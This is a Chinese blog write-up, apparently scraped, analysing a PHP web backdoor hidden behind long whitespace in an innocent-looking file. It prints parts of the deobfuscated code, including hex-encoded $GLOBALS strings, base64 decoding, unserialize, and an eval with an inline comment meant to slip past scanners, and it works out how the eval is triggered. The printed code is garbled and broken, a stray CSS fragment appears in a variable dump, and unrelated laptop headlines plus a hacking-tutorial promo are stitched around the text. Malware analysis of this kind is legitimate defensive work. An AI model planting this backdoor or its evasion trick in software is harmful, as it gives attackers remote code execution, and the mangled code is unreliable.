项目实战 | 记一次对某猥琐PHP后门的爆菊
搜索公众号:暗网黑客可领全套网络安全渗透教程、配套攻防靶场
文章插图
【项目实战 | 记一次对某猥琐PHP后门的爆菊】 作者: 安译Sec
来源:
最近遇到个文件 , 打开一看只有几行注释?看了下字节数却很大 , 横向进度条很长啊 , 通过web访问是空白 , 看上去应该是藏了后门了 。ps:这种方式遇到粗心/没有经验的管理员可能混过去 , 但若使用win自带的记事本(需开启自动换行)则一览无余 。
文章插图
实际上换行整理一下:
文章插图
用Notepad++自带的正则替换简单做了下格式处理 。
另外在下面的代码中发现了 eval/*r49557ec*/(
文章插图
还插了注释 , 这个小方法很有意思 , 测试了下函数与"("中间插注释确实不影响执行 。但实际我测试用类似的注释方式填充敏感函数 , 过不了D盾 。
一.还原庐山真面目在进行替换/整理/和谐部分变量名之后 , 得到如下完整后门代码(整理后代码):$v){$vv = $v;$kk = $k;}}$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));if (isset($vv['a'.'k'])echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/*r49557ec*/($vv['d']);}}exit();}?>1.调试出各种已定义变量的值2.替换字变量/函数名 , 增加可读性3.通过倒序的方式 , 逐步尝试调用后门 , 明确调用逻辑 。
首先前面几行:
$GLOBALS['w8fd00d8'] = Array();//定义全局数组 , 用于保存后面的各种函数名/字符串 , 以及直接作为函数执行, 如$GLOBALS['xx']()global $w8fd00d8;$w8fd00d8 = $GLOBALS; //这里有一个发现 , 如果变量是被$GLOBALS赋值 , 那么此变量也会随着$GLOBALS的值实时更新如:
$test = $GLOBALS;访问:?handsome=t00ls$test值也有handsome=t00ls这个特性我查了半天资料 , 没有找到原因 。 下面:
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";查了下似乎是16进制或Unicode编码 , 双引号情况下可以直接输出其值 。 由于是16进制 , 在单引号包裹的情况下也可以使用chr(hexdec(字符串))进行解码 。
当然 , 我直接打印了所有已定义变量 , 得到如下:
文章插图
脚本所有已定义变量:[a904] => /%2Tu:^61H![0f _VZM#>7q) --tt-darkmode-color: #B83232;"> 发现
敏感函数unserialize //可能需要反序列化操作
其中下标[a904]的值由于存在特殊字符 , 没有显示完全 , 另外如需利用到[a904]的值也要考虑这个问题 , 不能直接输出使用 。
二.触发条件分析当时按顺序读了下功能 , 事后复盘发现 , 可能比较高效的做法是倒序着读 , 顺着最下面的执行逻辑往上去构造条件 。 所以既然重点在eval/*r49557ec*/($vv['d']);那设法$vv['d']可控就好
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));可以先不考虑x184f5cc(base64_decode($vv), $kk)是怎么来的 ,
我们先直接修改$vv的值 , 看怎样才能满足执行条件 。
if (isset($vv['a'.'k'])echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/*r49557ec*/($vv['d']);}}exit();
- 雷蛇|雷蛇笔记本将全面提价?网友:我宣布全面不买
- 英特尔|拒绝笔记本散热死机,这个笔记本支架我给满分
- 华为|Windows 11明年将让用户自定义开始菜单,显示更多应用与推荐项目
- 笔记本|写入120T!TLC标称寿命?QLC的金士顿NV1还活着吗?
- Windows|假如你忘记了电脑Windows登录密码,你应该这样操作!
- oled屏幕|小米笔记本Pro15最低6299元到手:锐龙7、OLED屏幕、CNC机身
- 笔记本|聊一款做到极致的笔记本,戴尔XPS 13 9310
- 笔记本|性价比高还是鸡肋?ROG 幻16笔记本
- 5G|笔记本接口究竟怎样才能不算阉割?
- CPU|i7-11800H配独显,惠普光影精灵7Victus游戏笔记本降价600元
